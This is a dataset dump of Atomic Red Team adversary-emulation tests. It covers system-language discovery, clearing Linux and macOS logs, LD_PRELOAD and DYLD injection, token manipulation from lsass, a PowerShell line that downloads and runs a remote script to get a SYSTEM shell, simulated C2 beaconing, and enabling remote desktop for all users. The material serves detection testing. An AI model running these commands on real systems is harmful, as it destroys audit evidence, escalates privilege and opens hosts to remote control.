deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language with locale
Platforms: linux
Executor: sh

Description:
Identify System language with the `locale` command.

Upon successful execution, the output will contain the environment variables that indicate
the 5 character locale that can be looked up to correlate the language and territory.


Command:
locale
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language with localectl
Platforms: linux
Executor: sh

Description:
Identify System language with the `localectl` command.

Upon successful execution, the key `System Locale` from the output will contain the
`LANG` environment variable that has the 5 character locale result that can be looked
up to correlate the language and territory.


Command:
localectl status
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language by locale file
Platforms: linux
Executor: sh

Description:
Identify System language with the by reading the locale configuration file.

The locale configuration file contains the `LANG` environment variable which
will contain the 5 character locale that can be looked up to correlate the
language and territory.


Command:
[ -f /etc/locale.conf ] && cat /etc/locale.conf || cat /etc/default/locale


Dependencies:
Check the location of the locale configuration file.
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language by Environment Variable Query
Platforms: linux
Executor: sh

Description:
Identify System language by checking the environment variables

Upon successful execution, the 5 character locale result can be looked up to
correlate the language and territory. Environment query commands are likely
to run with a pattern match command e.g. `env | grep LANG`

Note: `env` and `printenv` will usually provide the same results. `set` is
also used as a builtin command that does not generate syscall telemetry but
does provide a list of the environment variables.


Command:
env | grep LANG
printenv LANG
set | grep LANG


Dependencies:
Check if printenv command exists on the machine
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language with dism.exe
Platforms: windows
Executor: command_prompt

Description:
The Windows utility DISM (Deployment Image Servicing and Management) can be used to display information about international settings and languages on the currently installed Windows image using an elevated terminal.


Command:
dism.exe /online /Get-Intl
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language by Windows API Query
Platforms: windows
Executor: command_prompt

Description:
This test executes a custom script called LanguageKeyboardLayout.exe which outputs the values of the following Windows API functions to the user terminal: 

`GetKeyboardLayout`, `GetKeyboardLayoutList`, `GetUserDefaultUILanguage`, `GetSystemDefaultUILanguage`, `GetUserDefaultLangID`.

Documentation for these functions is located [here](https://learn.microsoft.com/en-us/windows/win32/api/winuser/).    


Command:
PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe


Dependencies:
LanguageKeyboardLayout.exe must exist on disk (default location: PathToAtomicsFolder\..\ExternalPayloads\LanguageKeyboardLayout.exe)
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language with WMIC
Platforms: windows
Executor: command_prompt

Description:
WMIC (Windows Management Instrumentation Command-line) is a command-line tool that provides a simplified interface to query and manage Windows system configurations, processes, and hardware information using WMI. 

The command in this test retrieves information about the system's locale, operating system language, and multilingual user interface (MUI) languages.


Command:
wmic /node:#{target_host} os get Locale,OSLanguage,MUILanguages /format:#{format_style}
Atomic Red Team — T1614.001: System Location Discovery: System Language Discovery
Test: Discover System Language with Powershell
Platforms: windows
Executor: powershell

Description:
This PowerShell script collects key system settings, such as the UI language, user language preferences, system locale, current culture, UI culture, and time zone, into a hash table. 

It then outputs these settings in a readable key-value format directly to the terminal. The script is simple and efficient for quickly displaying system configuration details.


Command:
$info = @{
  UILanguage     = Get-WinUILanguageOverride
  UserLanguages  = (Get-WinUserLanguageList).LanguageTag -join ', '
  SystemLocale   = Get-WinSystemLocale
  CurrentCulture = [System.Globalization.CultureInfo]::CurrentCulture.Name
  CurrentUICulture = [System.Globalization.CultureInfo]::CurrentUICulture.Name
  TimeZone       = (Get-TimeZone).Id
}
$info.GetEnumerator() | ForEach-Object { "$($_.Name): $($_.Value)" }
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: rm -rf
Platforms: macos, linux
Executor: sh

Description:
Delete system and audit logs


Command:
sudo rm -rf #{syslog_path}
if [ -d /var/audit ] ; then sudo rm -rf #{macos_audit_path} ; fi


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: rm -rf
Platforms: linux
Executor: sh

Description:
Delete messages and security logs


Command:
rm -rf /var/log/messages
rm -rf /var/log/security
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete log files using built-in log utility
Platforms: macos
Executor: sh

Description:
This test deletes main log datastore, inflight log data, time-to-live data(TTL), fault and error content


Command:
sudo log erase --all
sudo log erase --ttl #Deletes only time-to-live log content
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Truncate system log files via truncate utility
Platforms: macos
Executor: sh

Description:
This test truncates the system log files using the truncate utility with (-s 0) parameter which sets file size to zero, thus emptying the file content


Command:
sudo truncate -s 0 #{system_log_path} #size parameter shorthand


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Truncate system log files via truncate utility (freebsd)
Platforms: linux
Executor: sh

Description:
This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content


Command:
truncate -s 0 /var/log/messages #size parameter shorthand
truncate --size=0 /var/log/security #size parameter
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete log files via cat utility by appending /dev/null or /dev/zero
Platforms: macos
Executor: sh

Description:
The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility


Command:
sudo cat /dev/null > #{system_log_path} #truncating the file to zero bytes
sudo dd if=/dev/zero bs=1000 count=5 of=#{system_log_path} #log file filled with null bytes(zeros)


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete log files via cat utility by appending /dev/null or /dev/zero (freebsd)
Platforms: linux
Executor: sh

Description:
The first sub-test truncates the log file to zero bytes via /dev/null and the second sub-test fills the log file with null bytes(zeroes) via /dev/zero, using cat utility


Command:
cat /dev/null > /var/log/messages #truncating the file to zero bytes
cat /dev/zero > /var/log/messages #log file filled with null bytes(zeros)
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: System log file deletion via find utility
Platforms: macos
Executor: sh

Description:
This test finds and deletes the system log files within /var/log/ directory using various executions(rm, shred, unlink)


Command:
sudo find /var/log -name '#{system_log_name1}*' -exec rm {} \; #using "rm" execution
sudo find /var/log -name "#{system_log_name2}*" -exec shred -u -z -n 3 {} \; #using "shred" execution
sudo find /var/log -name "#{system_log_name3}*" -exec unlink {} \; #using "unlink" execution


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Overwrite macOS system log via echo utility
Platforms: macos
Executor: sh

Description:
This test overwrites the contents of system log file with an empty string using echo utility


Command:
sudo echo '' > #{system_log_path}
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Overwrite FreeBSD system log via echo utility
Platforms: linux
Executor: sh

Description:
This test overwrites the contents of system log file with an empty string using echo utility


Command:
echo '' > /var/log/messages
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Real-time system log clearance/deletion
Platforms: macos
Executor: sh

Description:
This test reads real-time system log file and writes empty string to it, thus clearing the log file without tampering with the logging process


Command:
sudo log -f /var/log/system.log | : > /var/log/system.log
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete system log files via unlink utility
Platforms: macos
Executor: sh

Description:
This test deletes the system log file using unlink utility


Command:
sudo unlink #{system_log_path}


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete system log files via unlink utility (freebsd)
Platforms: linux
Executor: sh

Description:
This test deletes the messages log file using unlink utility


Command:
unlink /var/log/messages
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete system log files using shred utility
Platforms: macos
Executor: sh

Description:
This test overwrites the contents of the log file with zero bytes(-z) using three passes(-n 3) of data, and then delete the file(-u) securely


Command:
sudo shred -u -z -n 3 #{system_log_path}


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete system log files using srm utility
Platforms: macos
Executor: sh

Description:
This test securely deletes the system log files individually and recursively using the srm utility.
Install srm using Homebrew with the command: brew install khell/homebrew-srm/srm
Refer: https://github.com/khell/homebrew-srm/issues/1 for installation


Command:
sudo srm #{system_log_path} #system log file deletion
sudo srm -r #{system_log_folder} #recursive deletion of log files


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete system log files using OSAScript
Platforms: macos
Executor: sh

Description:
This test deletes the system log file using osascript via "do shell script"(sh/bash by default) which in-turn spawns rm utility, requires admin privileges


Command:
osascript -e 'do shell script "rm #{system_log_path}" with administrator privileges'


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete system log files using Applescript
Platforms: macos
Executor: sh

Description:
This test deletes the system log file using applescript using osascript via Finder application
Note: The user may be prompted to grant access to the Finder application before the command can be executed successfully as part of TCC(Transparency, Consent, and Control) Framework.
Refer: https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive


Command:
osascript -e 'tell application "Finder" to delete POSIX file "#{system_log_path}"'


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Delete system journal logs via rm and journalctl utilities
Platforms: linux
Executor: sh

Description:
The first sub-test deletes the journal files using rm utility in the "/var/log/journal/" directory and the second sub-test clears the journal by modifiying time period of logs that should be retained to zero.


Command:
sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content
sudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Overwrite Linux Mail Spool
Platforms: linux
Executor: bash

Description:
This test overwrites the Linux mail spool of a specified user. This technique was used by threat actor Rocke during the exploitation of Linux web servers.


Command:
echo 0> /var/spool/mail/#{username}


Dependencies:
target files must exist
Atomic Red Team — T1685.006: Disable or Modify Tools: Clear Linux or Mac System Logs
Test: Overwrite Linux Log
Platforms: linux
Executor: bash

Description:
This test overwrites the specified log. This technique was used by threat actor Rocke during the exploitation of Linux web servers.


Command:
echo 0> #{log_path}


Cleanup:
if [ "/var/log/secure" != "#{log_path}" ] ; then rm -f #{log_path} ; fi
Atomic Red Team — T1574.006: Hijack Execution Flow: LD_PRELOAD
Test: Shared Library Injection via /etc/ld.so.preload
Platforms: linux
Executor: bash

Description:
This test adds a shared library to the `ld.so.preload` list to execute and intercept API calls. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

Upon successful execution, bash will echo `../bin/T1574.006.so` to /etc/ld.so.preload. 


Command:
sudo sh -c 'echo #{path_to_shared_library} > /etc/ld.so.preload'


Cleanup:
sudo sed -i 's##{path_to_shared_library}##' /etc/ld.so.preload


Dependencies:
The shared library must exist on disk at specified location (#{path_to_shared_library})
Atomic Red Team — T1574.006: Hijack Execution Flow: LD_PRELOAD
Test: Shared Library Injection via LD_PRELOAD
Platforms: linux
Executor: bash

Description:
This test injects a shared object library via the LD_PRELOAD environment variable to execute. This technique was used by threat actor Rocke during the exploitation of Linux web servers. This requires the `glibc` package.

Upon successful execution, bash will utilize LD_PRELOAD to load the shared object library `/etc/ld.so.preload`. Output will be via stdout.


Command:
LD_PRELOAD=#{path_to_shared_library} ls


Dependencies:
The shared library must exist on disk at specified location (#{path_to_shared_library})
Atomic Red Team — T1574.006: Hijack Execution Flow: LD_PRELOAD
Test: Dylib Injection via DYLD_INSERT_LIBRARIES
Platforms: macos
Executor: bash

Description:
injects a dylib that opens calculator via env variable


Command:
DYLD_INSERT_LIBRARIES=#{dylib_file} #{file_to_inject}


Cleanup:
kill `pgrep Calculator`
kill `pgrep firefox`


Dependencies:
Compile the dylib from (#{source_file}). Destination is #{dylib_file}
Atomic Red Team — T1134.002: Create Process with Token
Test: Access Token Manipulation
Platforms: windows
Executor: powershell

Description:
This Action demonstrates how an access token for a specific program can spawn another program under a different owner. 
Adversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. 
This Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe


Command:
Set-ExecutionPolicy -Scope Process Bypass -Force
$owners = @{}
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
& "$PathToAtomicsFolder\T1134.002\src\GetToken.ps1"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
Atomic Red Team — T1134.002: Create Process with Token
Test: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique
Platforms: windows
Executor: powershell

Description:
Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem
# T1134.002 - Create Process with Token

## Description from ATT&CK

> Adversaries may create a new process with an existing token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)
> 
> Creating processes with a token not associated with the current user may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used. For example, the token could be duplicated via [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or created via [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) before being used to create a process.
> 
> While this technique is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001), the techniques can be used in conjunction where a token is duplicated and then used to create a new process.

[Source](https://attack.mitre.org/techniques/T1134/002)

## Atomic Tests

- [Atomic Test #1: Access Token Manipulation](#atomic-test-1-access-token-manipulation)
- [Atomic Test #2: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique](#atomic-test-2-winpwn---get-system-shell---pop-system-shell-using-token-manipulation-technique)

### Atomic Test #1: Access Token Manipulation

This Action demonstrates how an access token for a specific program can spawn another program under a different owner. 
Adversaries can leverage access tokens to run programs under a different user not only to achieve privilege escalation but also to evade detection by blending in with normal user activity. 
This Action will query all processes and list the process name and owner.It will then make a copy of an existing token to create a new instance of cmd.exe

**Supported Platforms:** Windows

**auto_generated_guid:** `dbf4f5a9-b8e0-46a3-9841-9ad71247239e`

#### Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```powershell
Set-ExecutionPolicy -Scope Process Bypass -Force
$owners = @{}
gwmi win32_process |% {$owners[$_.handle] = $_.getowner().user}
Get-Process | Select ProcessName,Id,@{l="Owner";e={$owners[$_.id.tostring()]}}
& "$PathToAtomicsFolder\T1134.002\src\GetToken.ps1"; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe")
```

### Atomic Test #2: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique

Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn

**Supported Platforms:** Windows

**auto_generated_guid:** `ccf4ac39-ec93-42be-9035-90e2f26bcd92`

#### Attack Commands: Run with `powershell`!

```powershell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem
```
Atomic Red Team — T1071.001: Application Layer Protocol: Web Protocols
Test: Malicious User Agents - Powershell
Platforms: windows
Executor: powershell

Description:
This test simulates an infected host beaconing to command and control. Upon execution, no output will be displayed. 
Use an application such as Wireshark to record the session and observe user agent strings and responses.

Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat


Command:
Invoke-WebRequest #{domain} -UserAgent "HttpBrowser/1.0" | out-null
Invoke-WebRequest #{domain} -UserAgent "Wget/1.9+cvs-stable (Red Hat modified)" | out-null
Invoke-WebRequest #{domain} -UserAgent "Opera/8.81 (Windows NT 6.0; U; en)" | out-null
Invoke-WebRequest #{domain} -UserAgent "*<|>*" | out-null
Atomic Red Team — T1071.001: Application Layer Protocol: Web Protocols
Test: Malicious User Agents - CMD
Platforms: windows
Executor: command_prompt

Description:
This test simulates an infected host beaconing to command and control. Upon execution, no out put will be displayed. 
Use an application such as Wireshark to record the session and observe user agent strings and responses.

Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat


Command:
#{curl_path} -s -A "HttpBrowser/1.0" -m3 #{domain} >nul 2>&1
#{curl_path} -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain} >nul 2>&1
#{curl_path} -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain} >nul 2>&1
#{curl_path} -s -A "*<|>*" -m3 #{domain} >nul 2>&1


Dependencies:
Curl must be installed on system
Atomic Red Team — T1071.001: Application Layer Protocol: Web Protocols
Test: Malicious User Agents - Nix
Platforms: linux, macos
Executor: sh

Description:
This test simulates an infected host beaconing to command and control.
Inspired by APTSimulator - https://github.com/NextronSystems/APTSimulator/blob/master/test-sets/command-and-control/malicious-user-agents.bat


Command:
curl -s -A "HttpBrowser/1.0" -m3 #{domain}
curl -s -A "Wget/1.9+cvs-stable (Red Hat modified)" -m3 #{domain}
curl -s -A "Opera/8.81 (Windows NT 6.0; U; en)" -m3 #{domain}
curl -s -A "*<|>*" -m3 #{domain}
Atomic Red Team — T1021.005: Remote Services:VNC
Test: Enable Apple Remote Desktop Agent
Platforms: macos
Executor: sh

Description:
ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. 
Adversaries can abuse ARD to gain remote code execution and perform lateral movement.

References:  https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil


Command:
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet


Cleanup:
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -stop -configure -privs -none -quiet